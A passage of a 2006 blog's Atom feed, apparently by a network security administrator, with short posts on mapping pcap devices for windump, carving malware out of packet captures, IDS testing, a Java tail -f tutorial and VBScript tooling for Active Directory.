pcap_adapter.vbs "local" localhost -w test.txt&lt;br /&gt;Microsoft (R) Windows Script Host Version 5.6&lt;br /&gt;Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.&lt;br /&gt;&lt;br /&gt;Local Area Connection           {EE878E44-6F4F-4CEB-93D3-3C9F8BB6B75C}&lt;br /&gt;&lt;br /&gt;1 matches returned.&lt;br /&gt;Finished writing to file.  Results saved to test.txt&lt;br /&gt;&lt;br /&gt;C:\&gt;windump -D&lt;br /&gt;1.\Device\NPF_GenericDialupAdapter (Generic dialup adapter)&lt;br /&gt;2.\Device\NPF_{5A28A595-2DF1-4B68-84ED-9472E2B623C1} (Intel(R) PRO/Wireless 2915ABG Network Connection (Microsoft's Packet Scheduler) )&lt;br /&gt;3.\Device\NPF_{EE878E44-6F4F-4CEB-93D3-3C9F8BB6B75C} (Broadcom NetXtreme Gigabit Ethernet Driver (Microsoft's Packet Scheduler) )&lt;br /&gt;4.\Device\NPF_{768194C6-D64E-4C01-B933-1C1724B7DA9E} (VMware Virtual Ethernet Adapter)&lt;br /&gt;5.\Device\NPF_{8941359A-87BF-4EDA-A287-A3A5B2AFF1B3} (VMware Virtual Ethernet Adapter)&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-115126741079952646?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/115126741079952646/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=115126741079952646' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/115126741079952646'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/115126741079952646'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2006/06/windump-finding-pcap-device-mapping.html' title='windump - finding the pcap device mapping'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-114722253098489592</id><published>2006-05-10T00:55:00.000Z</published><updated>2007-03-13T14:54:03.059Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='file carving'/><title type='text'>When {Puffy} Meets ^RedDevil^: Monkey tricks: Extracting Viruses/Worms</title><content type='html'>&lt;a href="http://geek00l.blogspot.com/2006/03/monkey-tricks-extracting-virusesworms.html"&gt;When {Puffy} Meets ^RedDevil^: Monkey tricks: Extracting Viruses/Worms&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is an extraordinary good point of reference for something I've been trying do with numerous tools. Though most of the time I end up rebuilding binary files from scratch using hexworkshop and ethereal / packetyzer... This is great!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-114722253098489592?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/114722253098489592/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=114722253098489592' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/114722253098489592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/114722253098489592'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2006/05/when-puffy-meets-reddevil-monkey.html' title='When {Puffy} Meets ^RedDevil^: Monkey tricks: Extracting Viruses/Worms'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-114617013552197111</id><published>2006-04-27T20:30:00.000Z</published><updated>2007-03-13T14:56:28.967Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='fpg'/><category scheme='http://www.blogger.com/atom/ns#' term='ids'/><category scheme='http://www.blogger.com/atom/ns#' term='flop'/><title type='text'>More work..</title><content type='html'>Built fpg(a false positive generator) from FLop to test an IDS the other day. Pretty nice. I know there are others called stik.. &amp; something else. Might even send the picture post card to the addy in the INSTALL.&lt;br /&gt;&lt;br /&gt;Busy as a bee building interfaces for sguil and the IDS fleet. Wrote a bunch of VBS scripts as well that can interface fairly nicely with wmic and AD.. hey at least the MCSE comes in handy in that respect. blah.  Hopefully I will find a place once the server is up to post this garbage.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-114617013552197111?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/114617013552197111/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=114617013552197111' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/114617013552197111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/114617013552197111'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2006/04/more-work.html' title='More work..'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-114606062709622438</id><published>2006-04-26T14:06:00.000Z</published><updated>2006-11-15T19:10:10.331Z</updated><title type='text'>Tail -f Unix through JAVA</title><content type='html'>I've been wandering around the internet looking for a good way to implement the tail -f unix within java. If your unfamiliar with tail, well.. shame.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.informit.com/guides/content.asp?g=java&amp;seqNum=226&amp;amp;rl=1"&gt;Tail -f Unix&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This tutorial is actually really nice.. If you look around you will notice&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.informit.com/guides/content.asp?g=java&amp;amp;seqNum=245"&gt;Tail-f Unix across a client-server relationship&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-114606062709622438?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/114606062709622438/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=114606062709622438' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/114606062709622438'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/114606062709622438'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2006/04/tail-f-unix-through-java.html' title='Tail -f Unix through JAVA'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-114538999758257976</id><published>2006-04-18T19:38:00.000Z</published><updated>2006-11-15T19:10:10.252Z</updated><title type='text'>Mind Movement</title><content type='html'>Visual Basic Scripting, mainly Active Directory, has been taking a large portion of my life recently. I've been nose deep in vbs / cscritpting cli's and bring forth my powers of tcl.tk to bear as well. Who knows maybe somebody will eventually like my code.. blah!&lt;br /&gt;&lt;br /&gt;I dont understand why microsoft doesnt more easily disimenate information about included files and stuctures.. thats really annoying to me.&lt;br /&gt;&lt;br /&gt;"~:\Program Files\Microsoft Office\OFFICE11\1033\VBSCRIP5.CHM"&lt;br /&gt;&lt;br /&gt;Thats an fairly good start especially if your looking at :&lt;br /&gt;&lt;br /&gt;"mk:@MSITStore:~:\Program%20Files\Microsoft%20Office\OFFICE11\1033 /\VBSCRIP5.CHM::/html/vsgrpFeatures.htm"&lt;br /&gt;&lt;br /&gt;I ended up with some great code from &lt;a href="http://www.kouti.com/scripts.htm"&gt;http://www.kouti.com/scripts.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;With that as a base.. I've made some really great cli/pipeable tools to replace all the crap of dsget.exe.&lt;br /&gt;&lt;p&gt;Other Active Directory and Services are pestering my mind as well..&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Numerous general tools such as ADfind and SVCutil are big help&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Additional kung-fu from WMIC interfaces &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://supportech.insa-lyon.fr/Download/HOL/TechEd03/Windows/WMI_Command.pdf"&gt;WMI Command Tools &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://isc.sans.org/diary.php?storyid=1229&amp;amp;rss"&gt;Sans Handlers Diary some aditional cool functionality&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-114538999758257976?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/114538999758257976/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=114538999758257976' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/114538999758257976'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/114538999758257976'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2006/04/mind-movement.html' title='Mind Movement'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry></feed>
